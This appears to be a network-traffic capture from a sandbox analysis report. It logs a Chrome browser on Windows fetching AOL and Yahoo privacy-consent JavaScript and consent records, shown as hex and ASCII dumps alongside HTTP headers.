2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 63 6f 64 61 62 6c 65 46 69 78 65 64 42 69 74 66 69 65 6c 64 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 72 3d 6e 28 33 37 39 36 29 2c 69 3d 6e 28 37 34 30 29 3b 63 6c 61 73 73 20 6f 20 65 78 74 65 6e 64 73 20 69 2e 41 62 73 74 72 61 63 74 45 6e 63 6f 64 61 62 6c 65 42 69 74 53 74 72 69 6e 67 44 61 74 61 54 79 70 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 29 2c 74 68 69 73 2e 6e 75 6d 45 6c 65 6d 65 6e 74 73 3d 65 2e 6c 65 6e 67 74 68 2c 74 68 69 73 2e 73 65 74 56 61 6c 75 65 28 65 29 7d 65 6e 63 6f 64 65 28 29 7b 72 65 74 75 72 6e 20 72 2e 46 69 78 65 64 42 69 74 66 69 65 6c 64 45 6e 63 6f 64 65 72 2e 65 6e 63 6f 64 65 28 74 68 69 73 2e 76 61 6c 75 65 2c 74 68 69 73 2e 6e 75 6d 45 6c 65 6d 65 6e 74 73 29 7d 64 65 63 6f 64 65 28 65 Data Ascii: codableFixedBitfield=void 0;const r=n(3796),i=n(740);class o extends i.AbstractEncodableBitStringDataType{constructor(e){super(),this.numElements=e.length,this.setValue(e)}encode(){return r.FixedBitfieldEncoder.encode(this.value,this.numElements)}decode(e
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 72 72 6f 72 3d 6e 7d 2c 31 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 72 3d 6e 28 39 39 37 33 29 3b 63 6c 61 73 73 20 69 20 65 78 74 65 6e 64 73 20 72 2e 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 65 29 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 22 7d 7d 74 2e 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 3d 69 7d 2c 34 35 30 34 3a 66 75 6e 63 74 69 Data Ascii: rror=n},1104:function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.LazyDecodingError=void 0;const r=n(9973);class i extends r.DecodingError{constructor(e){super(e),this.name="LazyDecodingError"}}t.LazyDecodingError=i},4504:functi
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 28 29 2c 6e 65 77 20 6f 2e 45 6e 63 6f 64 61 62 6c 65 46 6c 65 78 69 62 6c 65 42 69 74 66 69 65 6c 64 28 28 28 29 3d 3e 64 2e 67 65 74 56 61 6c 75 65 28 29 29 2c 5b 5d 29 29 2c 73 75 70 65 72 28 74 2c 5b 5b 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 56 45 52 53 49 4f 4e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 52 45 41 54 45 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 4c 41 53 54 5f 55 50 44 41 54 45 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 4d 50 5f 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 4d 50 5f 56 45 52 53 49 4f 4e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 Data Ascii: (),new o.EncodableFlexibleBitfield((()=>d.getValue()),[])),super(t,[[p.TcfCaV1Field.VERSION.toString(),p.TcfCaV1Field.CREATED.toString(),p.TcfCaV1Field.LAST_UPDATED.toString(),p.TcfCaV1Field.CMP_ID.toString(),p.TcfCaV1Field.CMP_VERSION.toString(),p.TcfCaV
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 22 30 31 22 3a 72 3d 21 30 2c 6e 5b 31 5d 3d 69 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 6e 65 77 20 63 2e 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 28 22 55 6e 61 62 6c 65 20 74 6f 20 64 65 63 6f 64 65 20 73 65 67 6d 65 6e 74 20 27 22 2b 74 5b 65 5d 2b 22 27 22 29 7d 7d 74 68 69 73 2e 64 65 63 6f 64 65 53 65 67 6d 65 6e 74 73 46 72 6f 6d 42 69 74 53 74 72 69 6e 67 73 28 6e 29 2c 74 68 69 73 2e 66 69 65 6c 64 73 2e 67 65 74 28 61 2e 55 73 43 74 56 31 46 69 65 6c 64 2e 47 50 43 5f 53 45 47 4d 45 4e 54 5f 49 4e 43 4c 55 44 45 44 29 2e 73 65 74 56 61 6c 75 65 28 72 29 7d 67 65 74 49 64 28 29 7b 72 65 74 75 72 6e 20 6c 2e 49 44 7d 67 65 74 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 20 6c 2e 4e 41 4d 45 7d 7d 74 2e 55 73 43 74 56 31 3d 6c 2c 6c Data Ascii: "01":r=!0,n[1]=i;break;default:throw new c.DecodingError("Unable to decode segment '"+t[e]+"'")}}this.decodeSegmentsFromBitStrings(n),this.fields.get(a.UsCtV1Field.GPC_SEGMENT_INCLUDED).setValue(r)}getId(){return l.ID}getName(){return l.NAME}}t.UsCtV1=l,l
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 6e 3d 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 41 44 44 5f 45 56 45 4e 54 5f 4c 49 53 54 45 4e 45 52 3b 69 66 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 75 69 6c 74 2d 49 6e 20 43 75 73 74 6f 6d 20 43 6f 6d 6d 6d 61 6e 64 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 3a 20 55 73 65 20 22 29 2e 63 6f 6e 63 61 74 28 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 47 45 54 5f 54 43 5f 44 41 54 41 2c 22 20 69 6e 73 74 65 61 64 22 29 29 3b 69 66 28 6e 3d 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 52 45 4d 4f 56 45 5f 45 56 45 4e 54 5f 4c 49 53 54 45 4e 45 52 2c 6e 75 6c Data Ascii: tion(){function e(e){if(e){var n=o.TCFCommand.ADD_EVENT_LISTENER;if(null==e?void 0:e[n])throw new Error("Built-In Custom Commmand for ".concat(n," not allowed: Use ").concat(o.TCFCommand.GET_TC_DATA," instead"));if(n=o.TCFCommand.REMOVE_EVENT_LISTENER,nul
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 6c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 72 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6e 29 7d 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 50 69 6e 67 3d 76 6f 69 64 20 30 3b 76 61 72 20 6f 3d 6e 28 38 34 38 38 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 74 3d 65 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 74 2e 63 6d Data Ascii: l");function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0}),t.Ping=void 0;var o=n(8488),s=function(e){function t(){var t=e.call(this)\|\|this;return t.cm
2024-05-23 22:34:40 UTC	6	IN	Data Raw: 79 53 74 61 74 65 Data Ascii: yState

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49798	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	518	OUT	GET /oa/consent.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:41 UTC	764	IN	HTTP/1.1 200 OK x-amz-id-2: rDJI9tHUn7KEvIheTzszleoFBA3BpWdiQe/8YILyxRUcJ456euUh6nPGJa0SWbr5WujWjBgdJ8Q= x-amz-request-id: V3Z774KYCR35GMB1 Date: Thu, 23 May 2024 22:34:14 GMT Last-Modified: Thu, 23 May 2024 08:35:42 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=300 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 105448 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "72b9c9e5d748b5a6ab9c5cdc70bac17e" Age: 28 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 63 6f 6e 73 65 6e 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 36 38 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 6f 2c 69 2c 73 3b 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 6e 75 6c 6c 21 3d 6e 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 6e 2e 6e 6f 64 65 54 79 70 65 29 65 2e 65 78 70 6f 72 74 73 3d 61 28 29 3b 65 6c 73 65 20 69 66 28 6e 75 6c 6c 21 3d 74 2e 61 6d 64 4f 29 69 3d 5b 5d 2c 76 6f 69 64 20 30 3d 3d 3d 28 73 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6f 3d 61 Data Ascii: /! For license information please see consent.js.LICENSE.txt /!function(){var e={6848:function(e,n,t){var o,i,s;!function(a){"use strict";if(null!=n&&"number"!=typeof n.nodeType)e.exports=a();else if(null!=t.amdO)i=[],void 0===(s="function"==typeof(o=a
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 69 3f 2f 5e 6c 6f 61 64 65 64 7c 5e 63 2f 3a 2f 5e 6c 6f 61 64 65 64 7c 5e 69 7c 5e 63 2f 29 2e 74 65 73 74 28 6f 2e 72 65 61 64 79 53 74 61 74 65 29 29 7c 7c 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 73 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 6f 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 73 2c 6e 29 2c 61 3d 31 3b 6e 3d 74 2e 73 68 69 66 74 28 29 3b 29 6e 28 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3f 73 65 74 54 69 6d 65 6f 75 74 28 65 2c 30 29 3a 74 2e 70 75 73 68 28 65 29 7d 29 7d 2c 35 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 6e 2e 72 75 6e 3d 6e 2e 72 75 6e 57 69 74 68 44 65 63 69 73 69 6f 6e Data Ascii: i?/^loaded\|^c/:/^loaded\|^i\|^c/).test(o.readyState))\|\|o.addEventListener(s,n=function(){for(o.removeEventListener(s,n),a=1;n=t.shift();)n()}),function(e){a?setTimeout(e,0):t.push(e)})},52:function(e,n,t){"use strict";n.__esModule=!0,n.run=n.runWithDecision
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 63 69 64 65 29 28 65 2c 66 29 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 6c 2e 64 69 73 70 61 74 63 68 54 61 73 6b 43 6f 6d 70 6c 65 74 65 64 45 76 65 6e 74 29 28 22 22 2c 21 31 29 7d 7d 7d 2c 36 36 39 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6f 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 2c 74 3d 31 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 3c 6f 3b 74 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: cide)(e,f)}))}catch(e){(0,l.dispatchTaskCompletedEvent)("",!1)}}},6695:function(e,n,t){"use strict";var o=this&&this.__assign\|\|function(){return o=Object.assign\|\|function(e){for(var n,t=1,o=arguments.length;t<o;t++)for(var i in n=arguments[t])Object.proto
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 73 46 72 6f 6d 4d 65 74 61 54 61 67 73 29 28 29 7d 3b 74 72 79 7b 72 65 74 75 72 6e 28 30 2c 75 2e 67 65 74 49 74 65 6d 29 28 6d 29 26 26 28 30 2c 63 2e 64 65 66 61 75 6c 74 29 28 63 2e 73 65 72 76 69 63 65 54 79 70 65 2e 61 67 65 6e 74 41 75 74 68 29 26 26 28 74 3d 28 30 2c 61 2e 67 65 74 53 65 73 73 69 6f 6e 4f 62 6a 65 63 74 29 28 22 56 4d 41 67 65 6e 74 41 75 74 68 22 29 2c 21 28 30 2c 61 2e 69 73 56 61 6c 69 64 53 65 73 73 69 6f 6e 29 28 74 29 29 3f 67 28 29 3f 28 6f 2e 6f 75 74 63 6f 6d 65 3d 34 2c 76 6f 69 64 20 6e 28 6e 75 6c 6c 2c 6f 29 29 3a 28 6f 2e 6f 75 74 63 6f 6d 65 3d 33 2c 76 6f 69 64 20 6e 28 6e 75 6c 6c 2c 6f 29 29 3a 28 6f 2e 6f 75 74 63 6f 6d 65 3d 30 2c 6e 28 6e 75 6c 6c 2c 6f 29 2c 76 6f 69 64 28 30 2c 64 2e 64 69 73 70 61 74 63 68 Data Ascii: sFromMetaTags)()};try{return(0,u.getItem)(m)&&(0,c.default)(c.serviceType.agentAuth)&&(t=(0,a.getSessionObject)("VMAgentAuth"),!(0,a.isValidSession)(t))?g()?(o.outcome=4,void n(null,o)):(o.outcome=3,void n(null,o)):(o.outcome=0,n(null,o),void(0,d.dispatch
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 6e 6e 65 72 2e 6c 61 73 74 44 65 63 69 73 69 6f 6e 26 26 68 2e 59 43 54 42 61 6e 6e 65 72 2e 6c 61 73 74 44 65 63 69 73 69 6f 6e 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 6e 29 7b 69 66 28 22 79 62 61 6e 6e 65 72 2d 61 31 31 79 22 21 3d 3d 65 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 2e 65 78 70 65 72 69 6d 65 6e 74 29 7b 76 61 72 20 74 3d 28 30 2c 63 2e 65 6e 63 6f 64 65 29 28 65 2e 63 6f 6f 6b 69 65 52 65 73 75 6c 74 2e 63 6f 6e 73 65 6e 74 43 6f 6f 6b 69 65 73 2c 6e 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 74 26 26 28 30 2c 63 2e 73 61 76 65 53 65 73 73 69 6f 6e 29 28 74 2c 65 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 2e 63 6f 6e 73 65 6e 74 48 6f 73 74 29 2c Data Ascii: nner.lastDecision&&h.YCTBanner.lastDecision.normalizedOptions)))}function k(e,n){if("ybanner-a11y"!==e.normalizedOptions.experiment){var t=(0,c.encode)(e.cookieResult.consentCookies,n);return null!==t&&(0,c.saveSession)(t,e.normalizedOptions.consentHost),
2024-05-23 22:34:41 UTC	124	IN	Data Raw: 49 66 72 61 6d 65 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 75 2e 4d 65 73 73 61 67 65 54 79 70 65 2e 63 6f 6e 74 65 78 74 44 61 74 61 3a 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 30 2c 63 2e 69 73 56 61 6c 69 64 53 65 73 73 69 6f 6e 56 61 6c 75 65 29 28 6e 2c 65 2e 63 6f 6f 6b 69 65 52 65 73 75 6c 74 2e 63 6f 6e 73 65 6e 74 43 6f Data Ascii: Iframe();break;case u.MessageType.contextData:var l=function(e,n){return(0,c.isValidSessionValue)(n,e.cookieResult.consentCo
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 6f 6b 69 65 73 29 3f 6e 3a 6e 75 6c 6c 7d 28 65 2c 6e 2e 73 65 73 73 69 6f 6e 29 3b 69 66 28 6e 2e 69 73 42 61 6e 6e 65 72 45 6c 69 67 69 62 6c 65 26 26 21 6c 29 7b 6f 2e 64 69 73 70 6c 61 79 46 72 61 6d 65 28 29 2c 74 3d 21 30 2c 45 28 65 2c 22 63 6a 73 42 61 6e 6e 65 72 44 69 73 70 6c 61 79 22 29 2c 6f 2e 72 65 66 72 65 73 68 46 72 61 6d 65 53 69 7a 65 28 29 3b 76 61 72 20 64 3d 6b 28 65 2c 31 29 3b 64 26 26 6f 2e 73 65 74 46 72 61 6d 65 53 65 73 73 69 6f 6e 28 64 29 2c 28 30 2c 67 2e 64 65 63 69 64 65 47 75 63 65 46 6c 6f 77 29 28 65 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 2c 28 30 2c 43 2e 67 65 74 41 63 6f 6f 6b 69 65 29 28 29 2c 22 63 6f 6e 73 65 6e 74 55 70 64 61 74 65 42 61 6e 6e 65 72 22 29 7d 65 6c 73 65 20 69 66 28 6c 29 28 30 2c Data Ascii: okies)?n:null}(e,n.session);if(n.isBannerEligible&&!l){o.displayFrame(),t=!0,E(e,"cjsBannerDisplay"),o.refreshFrameSize();var d=k(e,1);d&&o.setFrameSession(d),(0,g.decideGuceFlow)(e.normalizedOptions,(0,C.getAcookie)(),"consentUpdateBanner")}else if(l)(0,
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 6e 65 77 20 44 61 74 65 2c 28 30 2c 61 2e 64 65 66 61 75 6c 74 29 28 65 2c 53 29 7d 6e 2e 62 61 6e 6e 65 72 54 61 73 6b 4e 61 6d 65 3d 22 50 72 69 76 61 63 79 42 61 6e 6e 65 72 22 2c 6e 2e 72 75 6e 57 69 74 68 44 65 63 69 73 69 6f 6e 3d 53 2c 6e 2e 72 75 6e 3d 41 2c 68 2e 59 43 54 42 61 6e 6e 65 72 7c 7c 28 68 2e 59 43 54 42 61 6e 6e 65 72 3d 7b 6c 61 73 74 44 65 63 69 73 69 6f 6e 3a 6e 75 6c 6c 2c 68 61 73 49 6e 6c 69 6e 65 42 61 6e 6e 65 72 3a 6e 75 6c 6c 2c 69 73 41 63 74 69 76 65 3a 21 31 2c 73 68 6f 77 42 61 6e 6e 65 72 3a 6e 75 6c 6c 2c 70 65 72 66 3a 7b 7d 2c 73 75 62 6d 69 74 3a 6e 75 6c 6c 2c 72 75 6e 3a 41 2c 64 65 63 69 64 65 57 69 74 68 43 6f 6f 6b 69 65 3a 72 2e 64 65 63 69 64 65 57 69 74 68 43 6f 6f 6b 69 65 2c 64 65 63 69 64 65 3a 61 2e 64 Data Ascii: new Date,(0,a.default)(e,S)}n.bannerTaskName="PrivacyBanner",n.runWithDecision=S,n.run=A,h.YCTBanner\|\|(h.YCTBanner={lastDecision:null,hasInlineBanner:null,isActive:!1,showBanner:null,perf:{},submit:null,run:A,decideWithCookie:r.decideWithCookie,decide:a.d
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 3a 61 3d 31 30 39 7d 6f 2e 72 65 6d 6f 74 65 52 65 73 75 6c 74 3d 7b 6f 75 74 63 6f 6d 65 3a 61 2c 61 63 74 69 6f 6e 3a 69 2e 61 63 74 69 6f 6e 2c 63 6f 6f 6b 69 65 73 3a 5b 5d 2c 75 6e 73 61 66 65 52 65 6a 65 63 74 65 64 43 6f 6f 6b 69 65 73 3a 5b 5d 7d 2c 73 28 65 2c 6f 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 65 2e 63 6f 6e 73 65 6e 74 48 6f 73 74 26 26 65 2e 69 73 53 74 61 74 69 63 42 61 6e 6e 65 72 45 6e 61 62 6c 65 64 29 7d 6e 2e 70 72 6f 63 65 73 73 42 61 6e 6e 65 72 53 65 72 76 69 63 65 52 65 73 70 6f 6e 73 65 3d 68 2c 6e 2e 69 73 56 61 6c 69 64 4f 70 74 69 6f 6e 73 3d 76 2c 6e 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 74 2e 73 Data Ascii: :a=109}o.remoteResult={outcome:a,action:i.action,cookies:[],unsafeRejectedCookies:[]},s(e,o)}}function v(e){return!!(e&&e.consentHost&&e.isStaticBannerEnabled)}n.processBannerServiceResponse=h,n.isValidOptions=v,n.default=function(e,n){function t(e,t){t.s
2024-05-23 22:34:41 UTC	1300	IN	Data Raw: 2c 73 2c 74 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 2c 6e 29 7d 7d 29 29 7d 28 72 2c 53 2c 74 29 3b 74 28 6e 75 6c 6c 2c 53 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 2c 70 29 7d 7d 7d 2c 33 32 36 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 6e 2e 70 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 4e 6f 6e 43 41 43 6f 6e 73 65 6e 74 50 6f 70 75 70 43 6f 6e 66 69 67 3d 6e 2e 70 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 43 41 43 6f 6e 73 65 6e 74 50 6f 70 75 70 43 6f 6e 66 69 67 3d 76 6f 69 64 20 30 2c 6e 2e 70 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 43 41 43 6f 6e 73 65 6e 74 50 6f 70 75 70 43 6f 6e 66 69 67 3d 7b 70 6f 70 75 70 56 65 72 73 69 6f 6e 3a 22 31 22 2c 66 65 Data Ascii: ,s,t)}catch(e){t(e,n)}}))}(r,S,t);t(null,S)}catch(e){t(e,p)}}},3263:function(e,n){"use strict";n.__esModule=!0,n.personalizedAdsNonCAConsentPopupConfig=n.personalizedAdsCAConsentPopupConfig=void 0,n.personalizedAdsCAConsentPopupConfig={popupVersion:"1",fe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49745	52.215.87.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	895	OUT	GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1 Host: guce.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg
2024-05-23 22:34:41 UTC	468	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent, X-Forwarded-For, X-Oath-Gcrumb Server: guce Date: Thu, 23 May 2024 22:34:41 GMT Connection: close Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: application/json Content-Length: 140 Access-Control-Allow-Methods: HEAD, GET, OPTIONS
2024-05-23 22:34:41 UTC	140	IN	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 22 32 37 6c 6c 39 31 64 6a 34 76 68 33 6d 22 2c 22 69 64 65 6e 74 69 66 69 65 72 54 79 70 65 22 3a 22 62 69 64 22 2c 22 74 6f 73 52 65 63 6f 72 64 73 22 3a 7b 22 6e 6f 6e 45 75 22 3a 7b 22 63 6f 6e 73 65 6e 74 45 76 65 6e 74 73 22 3a 7b 22 69 61 62 43 43 50 41 22 3a 22 31 59 4e 4e 22 2c 22 67 70 70 22 3a 22 44 42 41 41 22 2c 22 67 70 70 53 69 64 22 3a 22 2d 31 22 7d 7d 7d 7d Data Ascii: {"identifier":"27ll91dj4vh3m","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49799	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	579	OUT	GET /caas-assets-production/assets/v1/yahoo_sports_scores.6585265e1656bea4.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
